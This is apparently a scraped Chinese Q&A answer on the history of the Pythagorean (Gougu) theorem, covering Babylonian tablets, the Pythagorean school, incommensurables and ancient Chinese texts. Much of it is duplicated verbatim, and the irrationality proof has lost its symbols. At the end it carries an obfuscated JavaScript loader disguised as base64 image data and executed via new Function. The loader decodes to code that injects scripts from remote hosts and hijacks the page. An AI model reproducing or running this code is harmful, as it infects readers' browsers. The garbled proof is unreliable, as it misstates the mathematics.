推荐回答(2个)
在国外,尤其在西方,勾股定理通常被称为毕达哥拉斯定理.这是由于,他们认为最早发现直角三角形具有“勾2+股2=弦2”这一性质并且最先给出严格证明的是古希腊的数学家毕达哥拉斯(Pythagoras,约公元前580-公元前500).
实际上,在更早期的人类活动中,人们就已经认识到这一定理的某些特例.除我国在公元前1000多年前发现勾股定理外,据说古埃及人也曾利用“勾三股四弦五”的法则来确定直角.但是,这一传说引起过许多数学史家的怀疑.比如,美国的数学史家M·克莱因教授曾经指出:“我们也不知道埃及人是否认识到毕达哥拉斯定理.我们知道他们有拉绳人(测量员),但所传他们在绳上打结,把全长分成长度为3、4、5的三段,然后用来形成直角三角形之说,则从未在任何文件上得到证实.”不过,考古学家们发现了几块大约完成于公元前2000年左右的古巴比伦的泥版书,据专家们考证,其中一块上面刻有如下问题:“一根长度为30个单位的棍子直立在墙上,当其上端滑下6个单位时,请问其下端离开墙角有多远?”这是一个三边为3:4:5三角形的特殊例子;专家们还发现,在另一块版板上面刻着一个奇特的数表,表中共刻有四列十五行数字,这是一个勾股数表:最右边一列为从1到15的序号,而左边三列则分别是股、勾、弦的数值,一共记载着15组勾股数.这说明,勾股定理实际上早已进入了人类知识的宝库.
无论是古埃及人、古巴比伦人还是我们中国人谁最先发现了勾股定理,我们的先人在不同的时期、不同的地点发现的这同一性质,显然不仅仅是哪一个民族的私有财产而是我们全人类的共同财富.值得一提的是:在发现这一共同性质后的收获却是不完全相同的.下面以“毕达哥拉斯定理”和“勾股定理”为例,做一简单介绍:
一、毕达哥拉斯定理
毕达哥拉斯是一个古希腊人的名字.生于公元前6世纪的毕达哥拉斯,早年曾游历埃及、巴比伦(另一种说法是到过印度)等地,后来移居意大利半岛南部的克罗托内,并在那里组织了一个集政治、宗教、数学于一体的秘密团体毕达哥拉斯学派,这个学派非常重视数学,企图用数来解释一切.他们宣称,数是宇宙万物的本原,研究数学的目的并不在于实用,而是为了探索自然的奥秘.他们对数学看法的一个重大贡献是有意识地承认并强调:数学上的东西如数和图形是思维的抽象,同实际事物或实际形象是截然不同的.有些原始文明社会中的人(如埃及人和巴比伦人)也知道把数脱离实物来思考,但他们对这种思考的抽象性质所达到的自觉认识程度,与毕达哥拉斯学派相比,是有相当差距的.而且在希腊人之前,几何思想是离不开实物的.例如,埃及人认为,直线就是拉紧的绳或田地的一条边;而矩形则是田地的边界.毕达哥拉斯学派还有一个特点,就是将算术和几何紧密联系起来.
正因为如此,毕达哥拉斯学派在他们的探索中,发现了既属于算术又属于几何的用三个整数表示直角三角形边长的公式:若2n+1,2n2+2n分别是两直角边,则斜边是2n2+2n+1(不过这法则并不能把所有的整勾股数组表示出来).也正是由于上述原因,这个学派通过对整勾股数的寻找和研究,发现了所谓的“不可通约量”例如,等腰直角三角形斜边与一直角边之比即正方形对角线与其一边之比不能用整数之比表达.为此,他们把那些能用整数之比表达的比称做“可公度比”,意即相比两量可用公共度量单位量尽,而把不能这样表达的比称做“不可公度比”.像我们今日写成:1的比便是不可公度比.至于与1不能公度的证明也是毕达哥拉斯学派给出的.这个证明指出:若设等腰直角三角形斜边能与一直角边公度,那么,同一个数将既是奇数又是偶数.证明过程如下:设等腰直角三角形斜边与一直角边之比为:,并设这个比已表达成最小整数之比.根据毕达哥拉斯定理2=2+2,有2=22.由于22为偶数即x2为偶数,所以必然也是偶数,因为任一奇数的平方必是奇数(任一奇数可表示为2n+1,于是(2n+1)2=4n2+4n+1,这仍是一个奇数.但是比:是既约的,因此,必然不是偶数而是奇数,既然是偶数,故可设=2.于是2=42=22.因此,2=22,这样,2是个偶数,于是也是偶数,但是同时又是个奇数,这就产生了矛盾.
关于对毕达哥拉斯定理的证明,现在人类保存下来的最早的文字资料是欧几里得(公元前300年左右)所著的《几何原本》第一卷中的命题47:“直角三角形斜边上的正方形等于两直角边上的两个正方形之和”.实际上,毕达哥拉斯学派关心得更多的是数学问题本身的研究;以毕达哥拉斯学派为代表的古希腊数学是以空间形式为主要研究对象,以逻辑上的演绎推理为主要的理论形式.而毕达哥拉斯定理的发现(关于可公度比与不可公度比的研究、讨论),实际上导致了无理数的发现,尽管毕达哥拉斯学派不愿意接受这样的数,并因此造成了数学史上所谓的第一次数学危机,但是毕达哥拉斯学派的探索仍然是功不可没的.
二、我国的勾股定理
在我国,至今可查的有关勾股定理的最早记载,是大约公元前1世纪前后成书的《周髀算经》,其中有一段公元前1千多年前的对话:“昔者周公问于商高曰:窃闻乎大夫善数也,请问古者包牺立周天历度,夫天不可阶而升,地不可得尺寸而度.请问数安从出?商高曰:数之法,出于圆方.圆出于方,方出于矩,矩出于九九八十一.故折矩,以为勾广三,股修四,径隅五.”
《周髀算经》中还有“陈子测日”的记载:根据勾股定理,周子可以测出日高及日远.例如,当求得了日高及测得了测量人所在位置到日下点的距离之后,计算日远的方法是:“若求邪至日者,以日下为勾,日高为股,勾股自乘,并开方而除之,得邪至日者.”
《周髀算经》是我国流传至今的一部最早的数学著作.书中主要讲述了学习数学的方法以及用勾股定理来计算高深远近和比较复杂的分数计算等.在唐代,《周髀算经》与其他九部陆续出现在我国汉唐两代千余年间的数学著作一起,被国子监算学馆定为课本,后世通称这十本书为《算经十书》.《算经十书》较全面地反映了自先秦至唐初我国的数学成就.其中许多书中都涉及到了勾股定理的内容,尤其《九章算术》(《算经十书》之一)第九章“勾股”专门讲解有关直角三角形的理论,所讨论的主要内容就是勾股定理及其应用.该章共有设问24题,提出22术.其中第6题是有名的“引葭赴岸”:“今有池方一丈,葭生其中央.出水一尺,引葭赴岸,适与岸齐.问水深、葭长各几何.”这是一个流传甚广的题目,类似题目一再在其他书中出现,例如成书于5世纪中叶的《张邱建算经》(《算经十书》之一)、朱世杰所著的《四元玉鉴》(1303年)等.
我们的先辈们还根据勾股定理发明了一种由互相垂直的勾尺和股尺构成的测量工具矩.如,《周髀算经》中记载了商高对用矩之道的论述:“平矩以正绳,偃矩以望高,复矩以测深,卧矩以知远.”又如,我国魏晋间杰出的数学家刘徽在他的名著《海岛算经》(《算经十书》之一)中共列出了9个有代表性的可用矩解决的测望问题,其中第4个问题是:“今有望深谷,偃矩岸上,令勾高六尺,从勾端望谷底,入下股九尺一寸,又设重矩于上,其矩间相去三丈,更从勾端望谷底,入上股八尺五寸,问谷深几何.”
我国最早的关于勾股定理的证明,目前人们认为是汉代赵爽对《周髀算经》的注释.
我国古代的数学与古希腊的数学不大一样.实际上,我国数学的主要研究对象不是空间形式,而是数量关系;其理论形式不是逻辑演绎体系,而是以题解为中心的算法体系.与古希腊数学采取层层论证的思维方式不同,我国古代数学家的思维方式是以直觉思维为主,又以类比为发现和推论结果的主要手段.
对于勾股定理,我国古代的数学家没有把主要精力放在仅仅给出严格的逻辑推理证明上,也没有在不可通约量究竟是什么性质的数上面做文章,而是立足于对由此可以解决的一类实际问题算法的深入研究.通过在直角三角形范围内讨论与勾股定理、相似直角三角形性质定理有关的命题,他们推出了一种组合比率算法勾股术.勾股术把相似直角三角形的概念作为基本概念,把相似直角三角形的性质作为基本性质,使相似直角三角形之间的相似比率构成了勾股的核心.勾股术用比率表达相似勾股对应边成比例的原理,勾股整数和勾股两容(容圆、容方)问题的求解;建立了勾股测量的理论基础.后来,刘徽实际上把相似勾股形理论确定为勾股比率论,并明确提出了“不失本率原理”,又把这个原理与比例算法结合起来,去论证各种各样的勾股测量原理,从而为我国古代的勾股测望术建立了坚实的理论基础.
有的专家还提出:勾股定理在我国古代数学中占有十分重要的地位,千百年来逐渐形成了一门以勾股定理及其应用为核心的中国式的几何学.
在国外,尤其在西方,勾股定理通常被称为毕达哥拉斯定理.这是由于,他们认为最早发现直角三角形具有“勾2+股2=弦2”这一性质并且最先给出严格证明的是古希腊的数学家毕达哥拉斯(Pythagoras,约公元前580-公元前500).
实际上,在更早期的人类活动中,人们就已经认识到这一定理的某些特例.除我国在公元前1000多年前发现勾股定理外,据说古埃及人也曾利用“勾三股四弦五”的法则来确定直角.但是,这一传说引起过许多数学史家的怀疑.比如,美国的数学史家M·克莱因教授曾经指出:“我们也不知道埃及人是否认识到毕达哥拉斯定理.我们知道他们有拉绳人(测量员),但所传他们在绳上打结,把全长分成长度为3、4、5的三段,然后用来形成直角三角形之说,则从未在任何文件上得到证实.”不过,考古学家们发现了几块大约完成于公元前2000年左右的古巴比伦的泥版书,据专家们考证,其中一块上面刻有如下问题:“一根长度为30个单位的棍子直立在墙上,当其上端滑下6个单位时,请问其下端离开墙角有多远?”这是一个三边为3:4:5三角形的特殊例子;专家们还发现,在另一块版板上面刻着一个奇特的数表,表中共刻有四列十五行数字,这是一个勾股数表:最右边一列为从1到15的序号,而左边三列则分别是股、勾、弦的数值,一共记载着15组勾股数.这说明,勾股定理实际上早已进入了人类知识的宝库.
无论是古埃及人、古巴比伦人还是我们中国人谁最先发现了勾股定理,我们的先人在不同的时期、不同的地点发现的这同一性质,显然不仅仅是哪一个民族的私有财产而是我们全人类的共同财富.值得一提的是:在发现这一共同性质后的收获却是不完全相同的.下面以“毕达哥拉斯定理”和“勾股定理”为例,做一简单介绍:
一、毕达哥拉斯定理
毕达哥拉斯是一个古希腊人的名字.生于公元前6世纪的毕达哥拉斯,早年曾游历埃及、巴比伦(另一种说法是到过印度)等地,后来移居意大利半岛南部的克罗托内,并在那里组织了一个集政治、宗教、数学于一体的秘密团体毕达哥拉斯学派,这个学派非常重视数学,企图用数来解释一切.他们宣称,数是宇宙万物的本原,研究数学的目的并不在于实用,而是为了探索自然的奥秘.他们对数学看法的一个重大贡献是有意识地承认并强调:数学上的东西如数和图形是思维的抽象,同实际事物或实际形象是截然不同的.有些原始文明社会中的人(如埃及人和巴比伦人)也知道把数脱离实物来思考,但他们对这种思考的抽象性质所达到的自觉认识程度,与毕达哥拉斯学派相比,是有相当差距的.而且在希腊人之前,几何思想是离不开实物的.例如,埃及人认为,直线就是拉紧的绳或田地的一条边;而矩形则是田地的边界.毕达哥拉斯学派还有一个特点,就是将算术和几何紧密联系起来.
正因为如此,毕达哥拉斯学派在他们的探索中,发现了既属于算术又属于几何的用三个整数表示直角三角形边长的公式:若2n+1,2n2+2n分别是两直角边,则斜边是2n2+2n+1(不过这法则并不能把所有的整勾股数组表示出来).也正是由于上述原因,这个学派通过对整勾股数的寻找和研究,发现了所谓的“不可通约量”例如,等腰直角三角形斜边与一直角边之比即正方形对角线与其一边之比不能用整数之比表达.为此,他们把那些能用整数之比表达的比称做“可公度比”,意即相比两量可用公共度量单位量尽,而把不能这样表达的比称做“不可公度比”.像我们今日写成:1的比便是不可公度比.至于与1不能公度的证明也是毕达哥拉斯学派给出的.这个证明指出:若设等腰直角三角形斜边能与一直角边公度,那么,同一个数将既是奇数又是偶数.证明过程如下:设等腰直角三角形斜边与一直角边之比为:,并设这个比已表达成最小整数之比.根据毕达哥拉斯定理2=2+2,有2=22.由于22为偶数即x2为偶数,所以必然也是偶数,因为任一奇数的平方必是奇数(任一奇数可表示为2n+1,于是(2n+1)2=4n2+4n+1,这仍是一个奇数.但是比:是既约的,因此,必然不是偶数而是奇数,既然是偶数,故可设=2.于是2=42=22.因此,2=22,这样,2是个偶数,于是也是偶数,但是同时又是个奇数,这就产生了矛盾.
关于对毕达哥拉斯定理的证明,现在人类保存下来的最早的文字资料是欧几里得(公元前300年左右)所著的《几何原本》第一卷中的命题47:“直角三角形斜边上的正方形等于两直角边上的两个正方形之和”.实际上,毕达哥拉斯学派关心得更多的是数学问题本身的研究;以毕达哥拉斯学派为代表的古希腊数学是以空间形式为主要研究对象,以逻辑上的演绎推理为主要的理论形式.而毕达哥拉斯定理的发现(关于可公度比与不可公度比的研究、讨论),实际上导致了无理数的发现,尽管毕达哥拉斯学派不愿意接受这样的数,并因此造成了数学史上所谓的第一次数学危机,但是毕达哥拉斯学派的探索仍然是功不可没的.
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();